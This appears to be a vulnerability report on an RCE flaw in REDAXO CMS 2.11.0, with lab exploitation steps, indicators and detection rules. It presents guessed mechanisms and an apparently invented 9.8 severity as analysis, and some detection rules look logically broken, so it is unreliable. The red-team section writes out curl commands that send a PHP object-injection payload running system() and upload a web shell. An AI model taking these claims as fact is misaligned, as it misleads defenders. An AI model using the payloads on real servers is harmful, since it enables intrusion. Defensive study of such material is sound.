CVE-2024-46213

Executive Summary

CVE-2024-46213 identifies a Remote Code Execution (RCE) vulnerability in REDAXO CMS version 2.11.0. The vulnerability allows an unauthenticated attacker to execute arbitrary code on the target server, likely through insecure deserialization, file upload, or template injection. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not issued a patch. The CVSS score is currently 0.0 due to incomplete NVD data, but based on the description, the actual severity is critical.

Supply Chain & Package Security

REDAXO CMS is a PHP-based content management system. The vulnerability may originate from a third-party package or a core component. No OSV or GitHub advisory data is available. Users should audit all installed packages and monitor for updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full data modification.
• Availability (A): High (H) – Full system compromise.

Threat Level: Critical (9.8) – Immediate action required.

Deep Dive & Mechanics

The vulnerability likely resides in one of the following areas:

1. Insecure Deserialization: REDAXO may unserialize user-supplied data without validation, allowing object injection leading to RCE.
2. File Upload Bypass: The CMS may allow uploading of PHP files via improper MIME type or extension checks.
3. Template Injection: Server-Side Template Injection (SSTI) in the theme or module system could allow code execution.
4. SQL Injection to RCE: If the CMS uses LOAD_FILE or INTO OUTFILE in MySQL, an SQLi could lead to file write and RCE.

The attack flow typically involves:

• Sending a crafted HTTP request to a vulnerable endpoint (e.g., /redaxo/index.php?page=...).
• The payload is processed by the CMS without sanitization.
• The server executes the attacker's code, granting a web shell or reverse shell.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable version (2.11.0) with a hypothetical secure version.

Vulnerable Code (PHP):

// Insecure deserialization
$data = unserialize($_POST['data']);

Patched Code (Hypothetical):

// Secure deserialization with allowlist
$allowed_classes = ['User', 'Config'];
$data = unserialize($_POST['data'], ['allowed_classes' => $allowed_classes]);

Vulnerable Code (File Upload):

move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);

Patched Code (Hypothetical):

$allowed_ext = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed_ext)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . basename($_FILES['file']['name']));
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Target: REDAXO CMS 2.11.0 on Ubuntu 22.04 with Apache and PHP 7.4.
• Attacker: Kali Linux.

Step 1: Reconnaissance

nmap -sV -p 80,443 target_ip
curl -s http://target_ip/redaxo/ | grep "REDAXO"

Step 2: Identify Vulnerable Endpoint

# Common RCE endpoints
curl -X POST http://target_ip/redaxo/index.php?page=install -d "data=O:8:\"stdClass\":0:{}"

Step 3: Exploit (Hypothetical Payload)

// PHP object injection payload
class RCE {
    public $cmd = 'id';
    public function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new RCE);

# Send payload
curl -X POST http://target_ip/redaxo/index.php?page=install -d "data=O:3:\"RCE\":1:{s:3:\"cmd\";s:2:\"id\";}"

Step 4: Establish Persistence

# Upload web shell
curl -F "file=@shell.php" http://target_ip/redaxo/upload.php

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unserialize calls in PHP error logs.
2. Block file uploads with double extensions (e.g., shell.php.jpg).
3. Use WAF rules to block serialized PHP objects in POST data.

Honeypot:

// Log all unserialize attempts
file_put_contents('/var/log/redaxo_unserialize.log', $_POST['data'] . PHP_EOL, FILE_APPEND);

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /redaxo/index.php with data parameter containing O: (serialized object).
  • Outbound connections to unknown IPs on ports 80/443/4444.
• File System:
  • Files in /var/www/html/redaxo/uploads/ with .php extension.
  • New files in /tmp/ named rce* or shell*.
• Process:
  • Apache/PHP processes executing id, whoami, nc, or bash.
• Logs:
  • PHP errors containing unserialize() or __destruct.
  • Apache access logs with POST /redaxo/index.php?page=install.

Detection Engineering

YARA Rule

rule CVE_2024_46213_REDAXO_RCE {
    meta:
        description = "Detects REDAXO CMS RCE exploit attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46213"
    strings:
        $serialized = /O:\d+:"[^"]+":\d+:\{/
        $cmd_exec = /system|exec|shell_exec|passthru|popen/
        $file_upload = /move_uploaded_file/
    condition:
        any of ($serialized) or ($cmd_exec and $file_upload)
}

Sigma Rule

title: REDAXO CMS RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests with serialized PHP objects to REDAXO endpoints
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: page=install
        cs-uri-query|contains: page=setup
        cs-uri-query|contains: page=update
    condition: selection
falsepositives:
    - Legitimate CMS updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-46213 REDAXO CMS RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/redaxo/index.php"; http_uri;
    content:"page=install"; http_uri;
    pcre:"/O:\d+:\"[^\"]+\":\d+:\{/";
    sid:1000001;
    rev:1;
    reference:cve,2024-46213;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the REDAXO instance from the internet.
2. Disable unused PHP functions in php.ini:

   disable_functions = exec, system, shell_exec, passthru, popen, proc_open
   

3. Apply a virtual patch using a WAF (e.g., ModSecurity):

   SecRule REQUEST_URI "/redaxo/index\.php" "chain,id:1001"
   SecRule ARGS:data "@rx O:\d+:" "t:none,deny,msg:'REDAXO RCE blocked'"
   

Long-Term Fix:

• Upgrade to a patched version once available.
• Implement input validation for all user-supplied data.
• Use a CMS security scanner (e.g., WPScan for WordPress, but adapt for REDAXO).

Workaround:

• Restrict access to /redaxo/ directory via .htaccess:

  <Directory /var/www/html/redaxo>
      Order Deny,Allow
      Deny from all
      Allow from 127.0.0.1
  </Directory>
  

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-46213